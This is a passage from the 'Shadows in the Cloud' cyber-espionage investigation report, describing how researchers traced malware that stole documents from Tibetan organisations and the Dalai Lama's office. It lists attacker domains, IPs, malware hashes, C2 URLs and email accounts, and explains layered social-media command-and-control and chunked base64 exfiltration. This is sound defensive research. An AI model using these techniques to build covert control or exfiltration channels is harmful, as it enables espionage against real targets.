compromised locations. We also used network monitoring software during field investigations in order to collect
technical data from compromised computer systems and perform an initial analysis to confirm the existence
of malware and the transfer of information between compromised computers and command and control servers. The network monitoring tools allowed us to collect samples from compromised computers and identify
command and control servers used by the attackers. The network monitoring was undertaken with the explicit
consent of the Tibetan organizations.
While monitoring the network traffic of a local NGO, Common Ground, as part of an Internet security audit,
traffic from a local WiFi mesh network, TennorNet was also captured, revealing malicious activity. An anomaly
was detected when analyzing this traffic: computers in Dharamsala were beaconing or checking in with a command and control server (jdusnemsaz.com/119.84.4.43) located in Chongqing, PRC. The location of Chongqing
is contextually interesting as it has a high concentration of Triads 
 well known Asian-based organized criminal networks 
 who have significant connections to the Chinese government and the Chinese Communist Party
(Lam 2009). The Triads have extended their traditional criminal activities to include technology-enabled crime
JR03-2010 Shadows in the Cloud - PART 2: METHODOLOGY & INVESTIGATIVE TECHNIQUES
such as 
computer software piracy and credit card forgery and fraud
 (Choo 2008).
An investigation revealed that the computer on TennorNet generating the malicious traffic belonged to Mr. Serta
Tsultrim, a Tibetan Member of Parliament, editor of of the weekly Tibetan language newspaper Tibet Express
and the director of the Khawa Karpo Tibet Culture Centre. Tsultrim is also the coordinator of the Association of
Tibetan Journalists (ATJ). We probed for his threat perception, and who he felt might be targeting him and why.
We sought to establish his perception of what documents and correspondence might be particularly sensitive.
Tsultrim was particularly concerned about this network being compromised.
Following the discovery of this compromise, we approached the OHHDL and formally requested permission
to audit network traffic to determine whether we could identify similar beacon packets associated with the
command and control server (jdusnemsaz.com/119.84.4.43). A representative of OHHDL agreed that we could
access the office network under an agreement similar to the initial GhostNet investigation. In consultation with
OHHDL staff, we focused our attention on the desktop machines that were most likely to be compromised, and
commenced a network tap of a number of workstations. Interestingly, it was one of these workstations that
was the origin of the GhostNet investigation, where we had observed sensitive documents being exfiltrated in
September 2008. Almost immediately we identified malicious traffic connecting with the command and control
server (jdusnemsaz.com/119.84.4.43).
Our next step was to refer to the management interface in the ICSA-certified Cyberoam firewall that the OHHDL
had installed in their network as part of their extensive upgrading of security procedures in the wake of the
GhostNet breach. We isolated all outbound traffic to the command and control server and identified any other
machines on the office Local Area Network that were currently, or had recently, been communicating with the
command and control server. From the Cyberoam interface we were able to identify one other machine that was
compromised. We proceeded to tap the traffic from this machine and began to see domain names associated
with the distributed social media command and control channels that we would later identify in the lab as part
of the command and control infrastructure. Similarly, the lab investigation was able to reconstruct the documents
that were exfiltrated from OHHDL machines and we were able to brief OHHDL on the extent of the breach.
Technical Investigative Activities
Our technical investigation was comprised of several interrelated components:
 DNS Sinkholing - Through registering expired domain names previously used in cyber espionage attacks as
command and control servers, we were are able to observe incoming connections from still-compromised
computers. This allowed us to collect information on the methods of the attackers as well as the nature of
the victims.
 Malware Analysis - We collected malware samples from a variety of attacks that allowed us to determine
the exploits the attackers used, the theme used to lure targets into executing the malware, as well as the
command and control servers used by the attackers. We also analysed additional malware found on servers
under the control of the attackers. Malware samples consisted primarily of the files with the PDF, DOC, PPT
and EXE file extensions.
 Command and Control Server Topography - We were able to map out the command and control infrastructure of the attackers by linking information from the sinkhole, the field investigations and the malware analysis. We collected the domain names, URL paths and IP addresses used by the attackers. This allowed us to find
links between our research and other command and control servers observed in other attacks in prior research.
JR03-2010 Shadows in the Cloud - PART 2: METHODOLOGY & INVESTIGATIVE TECHNIQUES
 Victim Identification - We were able to identify victims that the attackers had compromised by analyzing
sinkhole server connections, recovering documents that had been exfiltrated, and viewing control panels
used by the attackers to direct the compromised computers.
 Data Recovery - We were able to retrieve documents that had been sent to drop zones from victim systems
and stolen by the attackers.
We carried out this research carefully, guided by principles rooted in the computer security field (Burstein 2008;
Cooke et al. 2005; Stone-Gross et al. 2009; Smith and Toppel 2009). Our aim was to understand and document
the activities of the attackers as well as gather enough information to enable notification of those who had been
compromised. The principles that guided our field and technical investigations include the following:
 We collected network data in the field from computers that had been compromised by malware with the
consent of the owners of the computers.
 We monitored command and control infrastructure and recovered exfiltrated data in order to gather enough
information to understand the activities of the attackers and obtain enough information to enable notification of the victims before moving to notify the service providers and hosting companies to seek to have the
networks shut down.
 We worked with government authorities in multiple jurisdictions to notify those who had been compromised and to take down the attacker
s command and control infrastructure.
 We were careful to store and handle all of the data we collected in a secure manner.
PART 3:
Mapping the
Shadows in the Cloud
JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD
In order for us to begin to map the Shadows in the Cloud, it was important for us to have clear starting points.
The first and easiest starting point that we identified was to look back at what was related to and still operational from the previous Tracking GhostNet report. We focused primarily on the domains described in GhostNet
and set out to see what we could learn from them in their current state. The second was to continue collecting
and analyzing information on attacks gleaned from field research and reports that were shared with us by thirdparties. Each of these starting points branched off from one another and crossed paths in various ways, revealing at least two distinct cyber espionage networks.
We previously mentioned that a large portion of the domain names mentioned in Tracking GhostNet went offline
following the initial report. As a result, several of the domain names described in it were abandoned. The domains ultimately expired and were available for re-registration. This gave us the opportunity to take over these
domains and monitor any connections that might come to them. Doing this allowed us to see connections from
victims that were still infected, and learn more about how the command and control server was configured. The
Shadowserver Foundation has utilized this technique for a long time (Higgins 2008).
The investigation was broadened further when field research by the Information Warfare Monitor crossed paths
with research being done by the Shadowserver Foundation. The field research revealed that a computer system
in the OHHDL had been compromised by at least two different types of malware associated with targeted
malware intrusions. Based on our understanding of the malware, the domains and on-going research, we assess
that this compromise also involved at least two different cyber espionage groups and potentially even a third
one. Analysis of several malware components and their associated command and control servers ultimately led
to the discovery of an accessible drop zone for documents being siphoned off compromised systems.
The attackers
 command and control infrastructure is a critical component of maintaining persistent access to
compromised computers. Through this infrastructure, the attackers issue commands to the compromised machines as well as exfiltrate data to drop zones or to the command and control servers themselves. By carefully
examining the relationships between command and control servers we were able to map out the extent of one
such network and link it with other similar malware networks.
This report focuses on only one of these networks, one that we have named the Shadow network. This is a
complex network that leveraged social networking websites, webmail providers, free hosting providers and
services from some of the largest companies on the Internet as disposable command and control locations.
The first layer of control used blogs, newsgroups, and social networking services to maintain persistent control
as these system are unlikely to be detected as malicious. As compromised computers accessed these services,
they received another command and control location, often located on free web hosting providers. The command and control servers on the free hosting services are often disabled over time 
 most likely due to reports
of malicious activity. When the command and control servers on free web hosting services were disabled, the
compromised systems would receive commands from the social networking layer and then beacon (i.e., attempt
a connection) to a more stable inner core of dedicated systems located in the PRC. Unlike the command and
control servers on free web hosting services, these dedicated servers hosted in the PRC have proven to be quite
stable over time.
JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD
Analysis of Data while in the Field
During the field investigation we collected samples of network traffic from computers at the OHHDL and other
Tibetan-related locations. Inspection of network traffic from these computers revealed that at least three of them
were compromised and were communicating with the same set of command and control servers. The traffic
analysis revealed that these systems were all connecting to the domain jdusnemsaz.com. At the time it resolved
to the IP address 119.84.4.43, which is assigned to China Telecom in the province of Chongqing, PRC. The commands sent by the command and control server were identical to malware we found at the Tibetan NGO Drewla
and the OHHDL during our GhostNet investigation a year earlier, although were not part of the network that
was described in that initial report.
There is a similarity between the commands sent by the command and control server jdusnemsaz.com and
a previously identified control server, lookbytheway.net. In both cases, the network traffic captured from the
compromised computers revealed that the malware was exfiltrating sensitive documents.
Table 1: Command and Control: Similarities with previous attacks
OHHDL (T)
Nov 2009
OHHDL (D)
Nov 2009
TIBETAN MP
Oct 2009
Drewla
Sep 2008
jdusnemsaz.com
119.84.4.43
jdusnemsaz.com
119.84.4.43
jdusnemsaz.com
119.84.4.43
lookbytheway.net
221.5.250.98
/two/zq2009/index.php
NQueryFileop
/two/zq2009/index.php
NQueryFileop
/two/zq2009/index.php
NQueryFileop
/cgi-bin/NQueryFileop
NQueryFileop
Further analysis of the network traffic also revealed that at least one of the systems was infected with additional
malware not associated with the aforementioned command and control servers. The system was attempting
DNS resolutions of multiple hostnames. Two of the hostnames resolved to IP addresses but were not available
when the system attempted to communicate to them. The other hostname did not resolve at all.
The failed DNS resolution was for www.assam2008.net, which is a domain that has been used by a different
group of attackers in the past in conjunction with the Enfal trojan, and suggests a limited connection between
the current malware under investigation and malware used in previous attacks on other targets. This domain
name was available for registration and was added to our ongoing sinkhole project.
While recording network traffic in the field, we observed the attackers removing two senstive documents from
the OHHDL (see fig. 1, page 15). The data was compressed using CAB, split into 100kb chunks when necessary, encoded with base64, and then uploaded to a command and control server. In this case, data was being
uploaded to c2etejs.com, which is hosted on the same IP address (119.84.4.43) as jdusnemsaz.com.
We reconstructed the documents that were exfiltrated from the OHHDL: 
letters - current.doc
 and 
letters - master
2009.doc (see fig. 2, page 15).
 The documents contained over 1,500 letters sent from the Dalai Lama
s office
between January and November 2009. While many of the letters are perfunctory 
 responses to various invitations
and interview requests 
 they allow the attackers to collect information on anyone contacting the Dalai Lama
office. Moreover, there are some communications contained within these documents that could be considered sensitive, such as communications between the OHHDL and Offices of Tibet around the world. Some communications
contain generic information of the Dalai Lama
s travelling details including schedule of appearances 
 but very
little that could not be established through open sources and publicly available information on the internet.
JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD
Figure 1:
A screen capture of a sensitive document being uploaded to a command and control server.
Figure 2:
The Word Documents Exfiltrated from the OHHDL
JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD
Technical Investigation
During the technical investigation we examined the data collected from the field, third-party sources, and from
our DNS sinkhole project in order to determine the attack vectors used to exploit and compromise the victims.
While we were unable to determine how any one individual computer came to be compromised, we documented a variety of exploits used by the attackers. We mapped out the broader command and control infrastructure
by discovering new pieces of malware located on servers that we identified, and catalogued any new servers
that these instances of malware were configured with. We also looked at domains that were co-hosted on the
same servers we had already identified, and used searches to identify Twitter, Google Groups, Blogspot, Baidu
Blogs, blog.com, and Yahoo! Mail accounts that were misused by the attackers to update compromised computers with new command and control locations. We also discovered a panel or listing of compromised computers.
During our investigation into one of the servers we made a significant discovery: we were able to recover data
that was being exfiltrated by the attackers from compromised computers. These documents were only available
on the command and control server for a short time after being uploaded by the compromised systems, as the
attackers frequently removed them at irregular time intervals.
3.2.1 Attack Vectors / Malware
Victims of cyber espionage are often specifically targeted by the attacker and not by happenstance. While it is
possible for a cyber criminal to mass-distribute malware across the Internet with specific intent to compromise
a select set of individuals or organizations, it is not likely to be the most effective tool for the intended job. The
differences in approaches, based on an analysis of tools and kits, can therefore provide some insight into the
branching of cyber espionage from cyber crime, or at least help distinguish more 
connected
 attackers from
less connected
 ones. The varying levels of sophistication in tools, research and delivery set these actors apart,
can make them more or less effective, and establish their level of connection within the underground community. A very sophisticated attacker, for example, will likely be part of a network in the criminal underground
that has access to the latest exploits and kits that generate files with exploits to install their malicious payload.
These kits and files are not readily available to the average cyber criminal. A slightly less sophisticated attacker
might have access to the same kits and exploits once the vulnerability has been publicly disclosed, but prior to
there being a security patch issued for them. While from time to time various methods of generating malicious
PDFs and other document types will appear on websites like the Metasploit (www.metasploit.com) and milw0rm (www.milw0rm.com), the vast majority of these exploits and kits are not available publicly.
The ability to successfully compromise a target relies on more than just code designed to exploit vulnerabilities
in software 
 it requires 
exploiting the human element
 as well (Nolan and Levesque 2005). The digital traces
individuals leave behind on the Internet can be used to manipulate trust, and are used by attackers to encourage
targets to execute malicious code on their systems. The first phase of a targeted attack usually involves an
information acquisition phase,
 in which information on potential targets is compiled from a variety of public
sources, including social and professional networking sites, conference proceedings, academic papers and project
information, in order to generate a profile of the target (Smith and Toppel 2009).
Targeted malware attacks often leverage publicly available information to make their social engineering attempts
more plausible. Individuals are much more likely to become victims of targeted attacks if malware is sent to
them from what appears to be an acquaintance or a colleague (Jagatic et al. 2007). Targeted malware attacks
are, in many cases, personalised at the individual or organizational level. Moreover, an attacker may leverage
the credentials of a previously compromised acquaintance to add increased levels of legitimacy to the attack. As
a result, the attackers are able to convince the target into executing malicious code on their own computer, thus
JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD
resulting in the attackers gaining full control.
Typically, a user receives an email, possibly appearing to be from someone that they know who is a real person
within his or her organization, with some text 
 sometimes specific, sometimes generic 
 that urges the user
to open an attachment (or visit a web site), usually a PDF or Microsoft Office document (e.g., DOC, PPT, XLS
and others). These attacks may be spoofed or even come from the real email account of someone else who
has fallen victim to a similar attack, in what can be called a man-in-the-mailbox attack (Markoff and Barboza
2010). If the user opens the attachment with a vulnerable version of Adobe Reader or Microsoft Office (other
types of software are also being exploited) and no other mitigations are in place, their computer will likely be
compromised (F-Secure 2010). A clean version of the document is typically embedded in the malicious file and
is opened upon successful exploitation, so as not to arouse suspicion of the recipient. What is done next is then
only limited to the imagination and abilities of the attacker.
In a recent report, Symantec
s Message Labs revealed that the bulk of the targeted email attacks that they
have studied originates from the PRC (28.2%), Romania (21.1%) and the United States (13.8%). Leveraging
business-related information or popular topics in the news, the attackers largely target those with a 
a high or
medium ranking seniority
 within an organization. The most freguently targeted individuals include defence
policy experts, diplomatic missions, and human rights activists and researchers (Symantec 2010). The antivirus
detection for these documents is usually relatively low, and if the exploit is a 0day 
 an exploit for which there
is no fix from the vendor available 
 the chances of compromise are very good.
In the attacks documented in this report, the user
s computer checks in with a command and control server
after it is compromised. Our attackers used free services from various providers to instruct infected systems to
beacon to new command and control servers that were setup and fully managed by them. This check-in or beaconing activity is conducted using an HTTP connection and blends in with normal web traffic. When beaconing
the compromised computer sends some information, usually its IP address and operating system information,
and receives a command which it then executes. At this point the attacker has full control of the user
s system.
The attacker can steal documents, email and send other data, or force the compromised computer to download
additional malware and possibly use the infected computer as a mechanism to exploit the victim
s contacts
or other computers on the target network. In our examination of the network, it appeared systems were most
frequently instructed to upload documents and download additional executables.
3.2.2 Malicious Documents and Command and Controls
While we only have limited insight into the motivations and methods of the attackers, we believe they infected
victims primarily via email using social engineering techniques to convince their victims to open malicious file
attachments, as described above. The people behind the Shadow attacks used a variety of exploits and filetypes
to compromise their victims. We observed the group using PDF, PPT, and DOC file formats to exploit Adobe
Acrobat and Acrobat Reader, Microsoft Word 2003 and Microsoft PowerPoint 2003. The themes of their attacks
appear to involve topics that would likely be of interest to the Indian and Tibetan communities. This can be
observed through the file names of the malicious exploit files, as well as looking at the clean or non-malicious
files they then open after exploitation.
We were able to obtain dozens of exploit files that were used by the attackers when targeting their victims.
The Microsoft Word 2003 and PowerPoint 2003 files were mostly older exploits, which have been circulating in
the underground hacker community for some time. The PDF files, on the other hand, took advantage of much
more recent exploits at the time of their use. We observed them using PDF files that exploited CVEs 2009-0927,
JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD
2009-2990, and 2009-4324 within a few weeks or months of the vulnerability being first patched. Our research
did not reveal them using exploits that were 0day at the time, but we only have limited insight into their attacks
and may have easily not been privy to information from such attacks at the time. It is also worth noting that the
exploits they used in their attacks are not generated from freely available tools or publicly posted exploit code.
Our attacks appear to have some level of access to PPT, DOC, and PDF exploit generation kits that allow them
to create exploit files on the fly that install their malware.
Table 2 below is a sampling of each of the malicious document file formats that we observed and analyzed that
were used by these attackers in targeted attacks.
Table 2: Malicious Document File Formats
Date
2009-08-11
Filename
Sino-India_Border.ppt
File Type
Target
Microsoft PowerPoint 2003
c35b3ea71370cb5bfe2b523c17705ecb
C2 (initial)
Stage 1: http://groups.google.com/group/estolide/feed/rss_v2_0_msgs.xml
C2 (cmd)
Stage 2: http://www.idefesvn.com/test/ieupdate.php
Date
2010-01-08
Filename
Schedule2010_of_HHDL.pdf
File Type
Targeted
Adobe Acrobat/Reader (CVE-2009-0927)
dfc76b1f94ec13cbd8ae3b3371f23841
C2 (initial)
Stage 1: http://groups.google.com/group/tagyalten/feed/rss_v2_0_msgs.xml
C2 (cmd)
Stage 2: http://www.c2etejs.com/kk/all.php
Date
2009-08-20
Filename
China_should_break_up_India.doc
File Type
Target
Microsoft Word 2003
17a26441eb2be5efb8344e53cbd7d499
C2 (initial)
Stage 1: http://hiok125.blog.com
C2 (cmd)
Stage 2: http://www.erneex.com/boboshell/all.php
3.2.3 Malicious Binaries found on Command and Controls
During our investigation we were able to acquire twenty-seven malicious binaries used by the attackers. While
many of them contain functionality similar to the malicious payload of the document types enumerated above
as well as common command and control server locations there were several binaries whose functionality differed significantly.
We discovered that two of the binaries were using Yahoo! Mail accounts as an element of command and control. More specifically, in addition to checking in with the Yahoo! Mail accounts, new malicious binaries were
pushed to the compromised computers from the email account.
JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD
Table 3: Malware Connecting to Yahoo! Mail Accounts
Filename
setup.exe
7e2e37c78bc594342e498d6299c19158
sonamtenphel@yahoo.com
www.indexindian.com
Download
sites.google.com/site/wwwfox99/Home/
Filename
20090930165916978
abef3f0396688bfca790f8bbedac3e0d
zhengwai@yahoo.com
Although the second binary failed to connect to a web-based command and control server, a memory dump
revealed three additional email adresses (wwwfoxperter@yahoo.com, swwwfox@yahoo.in and ctliliwoy5@
yahoo.com) as well as the well known domain name www.indexindian.com and the URL of another malicious
binary hosted on sites.google.com/site/wwwfox99/.
This malware sample connected to a command and control server and downloaded additional components
(docBack.gif, nscthttp.gif, top.gif, tor.gif) that allowed it to connect to the Tor anonymity network. The reason
behind the attackers integration of Tor into their malware remains unclear.
Table 4: Malware with Tor
Filename
20091221165850243
2ca46bcdfda08adc94ab41d3ed049ab6
cxingpeng.byethost9.com
Tor (www.torproject.org) is an anonymity system that defends users from traffic analysis attacks in which
attackers attempt to monitor users
 online behaviour. Tor is used by journalists, human rights advocates, and
those in locations that are subject to Internet censorship. It is also used by law enforcement and many others
who require anonymity.
In 2007, a computer security researcher, Dan Egerstad collected data and email login credentials for a variety of
embassies around the world by monitoring the traffic exiting from Tor exit nodes, an anonymous communications
network. He was able to obtain user names and passwords for a variety of email accounts, and recovered data associated with the Dalai Lama
s office as well as India
s Defence Research and Development Organization (Zetter 2007a).
Tor does not automatically encrypt everything that a user does online. Unless the end-point of a connection
is encrypted, the data passing through an exit node in the Tor network will be in plain text. Since anyone can
operate a Tor exit node, it is possible for a malicious user to intercept the plain text communications passing
through it. However, Egerstad believes that the entities whose credentials and data he was able to collect were not
using Tor themselves. Rather, he concluded that attackers may have been using the Tor network as a mechanism
to exfiltrate data:
The embassy employees were likely not using Tor nor even knew what Tor was. Instead, we suspected
that the traffic he sniffed belonged to someone who had hacked the accounts and was eavesdropping on
them via the Tor network. As the hacked data passed through Egerstad
s Tor exit nodes, he was able to
read it as well (Zetter 2007b).
JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD
Table 5: Enfal
Filename
20090924152410520
9f0b3d0672425081cb7a988691535cbf
www.indexnews.org
On one of the command and control severs, we also discovered that the attackers were using Enfal, a well
known Trojan. The malware connected to www.indexnews.org and requested the following file paths: /cgi-bin/
Owpq4.cgi and /httpdocs/mm/[HOSTNAME]_20090610/Cmwhite. We explore the broader connections and
significance of use of Enfal in section 3.3.1 below.
Command and Control Infrastructure
Figure 3:
The Shadow Network
s Command and Control Infrastructure
This Palantir screen capture demonstrates the integration of social networking and blogging platforms (green), domain names (blue) and web servers (red).
JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD
The attackers
 command and control infrastructure consists of three interrelated components. The first
component consists of intermediaries that simply contain links, which can be updated, to command and control
servers. During our investigation we found that such intermediaries included Twitter, Google Groups, Blogspot,
Baidu Blogs, and blog.com. The attackers also used Yahoo! Mail accounts as a command and control component
in order to send new malicious binaries to compromised computers. On at least one occasion the attackers also
used Google Pages to host malware. To be clear, the attackers were misusing these systems, not exploiting any
vulnerability in these platforms. In total, we found three Twitter accounts, five Yahoo! Mail accounts, twelve
Google Groups, eight Blogspot blogs, nine Baidu blogs, one Google Sites and sixteen blogs on blog.com that were
being used as part of the attacker
s infrastructure. The attackers simply created accounts on these services and
used them as a mechanism to update compromised computers with new command and control server information. Even a vigilant network administrator looking for rogue connections exiting the network may overlook
such connections as they are routine and generally considered to be safe web sites. The use of social networking platforms, blogs and other services offered by trusted companies allows the attackers to maintain control
of compromised computers even if direct connections to the command and control servers are blocked at the
firewall level. The compromised computers can simply be updated through these unblocked intermediaries to
point to a new, as yet unknown, control server.
Such techniques are not new per se, and nothing in and of itself was invented by the Shadow attackers that had
not been done before (See Box 3). Rather, the attackers are learning from the experiences of others and adapting
the techniques to meet their needs. By using these kind of intermediaries and platforms, the attackers are able
to conceal their activities and maintain a resilient command and control infrastructure. In the Shadow case, the
attackers did not rely on only one social networking, cloud computing or Web 2.0 service, but rather used a
variety of such services in combination with one another.
Box 3: Social Network Sites as Control Channels for Malware Networks
The use of social networking sites as elements of command and control for malware networks is not novel. The attackers
leverage the normal operation of these systems in order to maintain control over compromised system. In 2009,
researchers found that Twitter, Jaiku, Tumblr, Google Groups, Google AppEngine and Facebook had all been used as the
command and control structure for malware. In August 2009, Arbor Networks
 Jose Nazario found that Twitter was being
used as a command and control component for a malware network. In this case, the malware was an information stealer
focused on extracting banking credentials from compromised computers located mostly in Brazil. Twitter was not the only
channel being used by the attackers. They also used accounts on Jaiku and Tumblr (Nazario 2009a). Furthermore, Arbor
Networks found another instance of malware that used the Google AppEngine to deliver malicious URLs to compromised
computers (Nazario 2009b). The Unmask Parasites blog found that obfuscated scripts embedded in compromised web
sites used the Twitter API to obscure their activities. While the method was clever, the code was unreliable and appeared
to have been abandoned by the attackers (Unmask Parasites 2009). Symantec found that Google Groups were being
used as command and control for another instance of malware. In this case, a private Google group was used by the
attackers to send commands to compromised computers which then uploaded their responses to the same Group
(Symantec 2009a) Symantec also found an instance of malware that used Facebook status messages as a mechanism
of command and control. (Symantec 2009b). The use of these social networking and Web 2.0 tools allows the attackers
to leverage the normal operation of these tools to obscure the command and control functions of malware.
One platform leveraged by the attackers in particularly interesting ways was the webmail service provided by
Yahoo!. We discovered five Yahoo! Mail accounts being used by the attackers as a component of command and
control. Once a computer was compromised, the malware connected to the Yahoo! Mail accounts using Yahoo
API and created a unique folder in the Inbox of the mail account, into which an email was inserted containing
the computer
s name, operating system and IP address. The attacker would then send an email to the account
containing a command or a command along with additional malware as an attachment. The next time that a
JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD
compromised computer checks in with the email account, it then downloads and executes the malicious attachment. Upon execution, the compromised computer placed an acknowledgement mail in the Yahoo! Mail Inbox.
The email addresses used by the attackers were:
zhengwai@yahoo.com
wwwfoxperter@yahoo.com
swwwfox@yahoo.in
ctliliwoy5@yahoo.com
sonamtenphel@yahoo.com
The attackers used these Yahoo! Mail accounts as command and control in conjunction with traditional mechanisms, such as HTTP connections to web servers. Therefore, even if the traditional web-based command and
control channels were shut down the attacker could retain control using the Yahoo! Mail mechanism.
Moreover, the web-based component of command and control was also resilient. We found that command and
control servers were being operated on free hosting sites and on free domain providers such co.tv and net.ru.
We found command and control servers on the following free web hosting providers:
byethost9.com
6te.net
justfree.com
sqweebs.com
yourfreehosting.net
kilu.de
5gighost.com
hostaim.com
5webs.net
55fast.com
surge8.com
In addition we found servers on free domains provided by co.tv and net.ru. All of the IP addresses to which the
sub-domains of these control servers resolve are in the United States, with the exception of one that is hosted in
Germany. The command and control servers on free hosting are:
changemore.hostaim.com
choesang.5gighost.com
freegate.kilu.de
freesp.6te.net
hardso.yourfreehosting.net
scjoinsign.sqweebs.com
tshkung01.justfree.com
www.99fm.co.tv
www.j5yr.co.tv
zcagua.6te.net
cxingpeng.byethost9.com
lobsang.net.ru
freesp.55fast.com
JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD
 iloveusy.justfree.com
 zenob.surge8.com
 bigmouse.5webs.net
As some of the free hosting accounts became unavailable, the attacker
s modified blog posts on the intermediaries to point to new command and control servers, most often to servers that appear to be the core of the
network. The core command and control servers reside on domain names that appear to be registered by the
attackers themselves and on dedicated servers. These control servers are:
c2etejs.com
erneex.com
idefesvn.com
jdusnemsaz.com
peose.com
indexnews.org
lookbytheway.net
microsoftnews.net
tibetcommunication.com
intoplink.com
indexindian.com
All of these domain names are hosted in the PRC.
The first group of domain names (c2etejs.com, erneex.com, idefesvn.com, jdusnemsaz.com, peose.com) were
all hosted on the same IP address 
 119.84.4.43 
 but moved to another IP address 
 210.51.7.155 
 which
is associated with the more well known domain names indexindian.com and tibetcommunication.com. The
domains indexnews.org and lookbytheway.net are on 61.188.87.27, microsoftnews.net is on 61.188.87.79, and
intoplink.com is on 60.160.182.113. The domains indexindian.com, indexnews.org and lookbytheway.net are
well known malware domain names associated with more than one instance of malware.
3.3.1 Malware Connections: Enfal
One of our objectives in this report was to explore the broader ecosystem of malware. While analysis of individual
attacks may yield interesting data, a broader understanding of connections between malware networks allows us
to better understand the methods, targets and capabilities of the attackers. Based on the malware tools and
command and control infrastructure collected as part of the Shadows in the Cloud investigation we were able to
draw connections between the Shadow network and at least two other, possibly affiliated, malware networks.
When grouping malware networks together we interpret relationships between the command and control
infrastructures, characteristics of the malware, attack vectors and exploits used, and any identifying information
left behind by the attackers. This allows us to track the activities of similar yet distinct groups of attackers over
time. More importantly, this historical perspective allows us to apply a granular level of analysis when investigating attacks, rather than simply grouping attackers and malware together by the country of origin. When
grouping malware we focus on:
 IP address relationships - the historical relationship between command and control domains that resolve to
same IP addresses over time.
JR03-2010 Shadows in the Cloud - PART 3: MAPPING THE SHADOWS IN THE CLOUD
 Malware connection relationships - malware found on one command and control server that connects to a
different command and control server.
 Malware file path relationships - the presence of distinctive file paths on multiple command and control
servers.
There are limitations to this approach. For example, multiple attackers could operate on a common infrastructure, perhaps supplied by a group that specialises in malicious hosting or selling registered domain names to
be used as command and control servers. Different groups of attackers could use the same, or very similar,
malware. However, when the malware is not publicly available or for sale, its use remains limited.
During the Shadow investigation we found the Enfal trojan among the instances of malware used by the attackers. The Enfal trojan is not widely available and appears to be in use by affiliated malware networks that
sometimes share a common command and control infrastructure.
In fact, domain names that have been used as Enfal command and control servers by separate, but possibly
affiliated, attackers 
 assam2008.net, msnxy.net, sysroots.net, womanld.com, womannana.com, lookbyturns.
com, macfeeresponse.com and macfeeresponse.org 
 have now been incorporated into our sinkhole project.
This allows us to observe compromised computers that are still checking in with the command and control
servers as well as the file paths being requested. In some cases, we can obtain the names of documents located on the compromised computers. These domain names are associated with Enfal and can also be linked
to the active command and control servers in the Shadow network through common command and control
server IP addresses.
Another group of attackers that also used the Enfal trojan were documented in 2008 by Maarten Van
Horenbeeck. He published information concerning his investigation into the targeted malware attacks which
included the use of the Enfal Trojan dating back to 2007. Van Horenbeeck systematically documented a series
of targeted attacks and clearly articulated the methodology of the attackers, one of which is now commonplace.
The attackers leverage social engineering tactics to entice the target into clicking on a malicious link or email
attachment. The malware then exploits a vulnerability in the user
s client side software, such as a browser,
Microsoft Word, Adobe Reader and so on, and begins communicating with a command and control server. Enfal
is recognisable due to the consistent filenames the malware requests from the command and control server,
most notably 
/cgi-bin/owpq4.cgi
. Van Horenbeeck identified domain names used by Enfal, *.bluewinnt.
com and *.ggsddup.com, which are still in use today (Van Horenbeeck 2008a; Van Horenbeeck 2008b; Van
Horenbeeck 2007).
While we were unable to find any instances of common command and control infrastructure between the Enfal
network that Van Horenbeeck documented, the methods and tools of these attackers and the Shadow network
are very similar. The common use of the Enfal Trojan suggests that the attackers may be exchanging tools and
techniques. The profile of the victims from two separate Enfal-based networks in our DNS sinkhole suggest
that the attackers have an interest in compromising similar sets of targets. Finally, the failed DNS resolution for
www.assam2008.net found on a computer at the OHHDL also compromised by the Shadow network indicates a
possibly closer connection, or that they at least have both common tools and target sets.
PART 4:
Targets and Effects
JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS
Compromised Victims: The Evidence
Mistakes on the part of the attackers allowed us to view the attackers
 list of victims at four command and
control locations. In addition, we were able to recover exfiltrated data from two locations. This provided us with
a snapshot of the computers that have been compromised by the attacks. Thus, this is not a complete list of all
those compromised by this attacker. Rather, it is simply those checking in with or uploading data to the portions
of the network that we were able to view. Moreover, there was considerable overlap between different methods
of command and control, with individual computers checking in at multiple locations. Therefore, we do not
have consistent data across all compromised computers. There are two categories of victims: those for whom
we only have technical identifying information, such as IP addresses; and those from whom we have recovered
exfiltrated data but for whom we do not have IP addresses. In cases where we do not have IP addresses, the
identity of the victim is determined from the contextual information found within the exfiltrated data itself.
We obtained information on victims from:
 a web-based interface that lists cursory information on compromised computers located on one command
and control server;
 text files in web-accessible directories on three command and control servers that list detailed information
on compromised computers;
 information obtained from email accounts used for command and control of compromised computers
 information obtained from one command and control server from which we retrieved exfiltrated documents
(but not necessarily technical identifying information);
 information obtained from our DNS sinkhole.
The primary method of identification used in this section is based upon the IP address of the compromised
computer. We looked up the associated IP address in all five Regional Internet Registries (RiR) in order to identify the country and network to which the IP address is assigned. We then performed a reverse Domain Name
System (DNS) look-up on each IP address. DNS is the system that translates domain names into IP addresses;
reverse DNS is a system that translates an IP address into a domain name. This can potentially provide additional information about the entity that has been assigned a particular IP address. If we discovered a domain
name, we then looked up its registration in WHOIS, which is a public database of all domain name registrations
and provides information about who registered the domain name.
It was possible to identify the geographic location of the compromised computer at the country level as well as
the network to which the IP address was assigned. However, in most cases there was little information in the
RiRs pertaining to the exact identity of the compromised entity. Where possible, we note the entity identified by
data obtained from the RiRs.
The following list of compromised computers was generated by parsing information from unique victims, not
solely IP addresses. The attackers assign the compromised computer a name based on the host name of the computer, which allows us to identify unique victims rather than relying only on IP addresses. In fact, several of the
unique victims have multiple IP addresses associated with them, sometimes spanning multiple countries. Here we
have generated a geographic breakdown based on the first IP addresses recorded for each compromised computer.
JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS
Figure 4:
Locations of Compromised Computers in the Shadow Network
While there is considerable geographic diversity, there is a high concentration of compromised computers
